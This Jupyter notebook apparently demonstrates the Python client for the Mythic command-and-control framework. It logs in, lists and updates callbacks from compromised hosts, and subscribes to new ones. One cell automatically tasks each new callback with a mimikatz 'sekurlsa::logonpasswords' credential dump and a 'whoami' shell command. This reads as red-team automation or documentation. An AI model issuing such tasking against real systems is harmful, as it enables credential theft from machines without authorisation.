{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "332126f9-3524-4223-bcc6-24b9818b77b5",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "from mythic import mythic"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "abfa531f-5e7a-400b-910c-92a62106ccbe",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "mythic_instance = await mythic.login(\n",
    "        username=\"mythic_admin\",\n",
    "        password=\"mythic_password\",\n",
    "        server_ip=\"mythic_nginx\",\n",
    "        server_port=7443,\n",
    "        timeout=-1\n",
    "    )"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "fa3c9e18-12b3-4b88-9157-c1b920fc64c7",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "# ################ Update a callback ################\n",
    "await mythic.update_callback(\n",
    "    mythic=mythic_instance,\n",
    "    callback_display_id=1,\n",
    "    description=\"auto updated description\",\n",
    "    locked=True,\n",
    "    domain=\"ohno.com\",\n",
    "    integrity_level=3,\n",
    "    host=\"johns-pc\",\n",
    "    user=\"john\"\n",
    ")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "77b89409-31c8-44d8-877f-bec19f261e01",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "# ################ Get all callbacks ################\n",
    "callbacks = await mythic.get_all_callbacks(mythic=mythic_instance)\n",
    "print(callbacks)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "321455f9-2a59-4aa0-9aae-dfee499e78a6",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "# ################ Get active callbacks ################\n",
    "callbacks = await mythic.get_all_active_callbacks(mythic=mythic_instance)\n",
    "print(callbacks)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "d2e9d15d-8f98-4176-b66a-66a19f66329f",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "# ################ Subscribe new callbacks with timeout ################\n",
    "# only get new callbacks created since running this function\n",
    "async for c in mythic.subscribe_new_callbacks(mythic=mythic_instance, batch_size=1):\n",
    "    resp = await mythic.issue_task(\n",
    "       mythic=mythic_instance,\n",
    "       command_name=\"mimikatz\",\n",
    "       parameters=\"sekurlsa::logonpasswords\",\n",
    "       callback_display_id=c[0][\"display_id\"],\n",
    "        wait_for_complete=False,\n",
    "    )\n",
    "    print(resp)\n",
    "    resp = await mythic.issue_task(\n",
    "       mythic=mythic_instance,\n",
    "       command_name=\"shell\",\n",
    "       parameters=\"whoami\",\n",
    "       callback_display_id=c[0][\"display_id\"],\n",
    "        wait_for_complete=False,\n",
    "    )\n",
    "    print(resp)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "6180f383-e6b2-44ec-9cbc-8e5708f38eed",
   "metadata": {
    "tags": []
   },
   "outputs": [],
   "source": [
    "# ################ Subscribe all active callbacks with timeout ################\n",
    "# fetches all existing callbacks and then starts listening for new ones\n",
    "async for c in mythic.subscribe_all_active_callbacks(mythic=mythic_instance, timeout=10):\n",
    "    print(c)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "e164a71b-8e86-4e0c-9112-13dd5f0c42d2",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.11"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
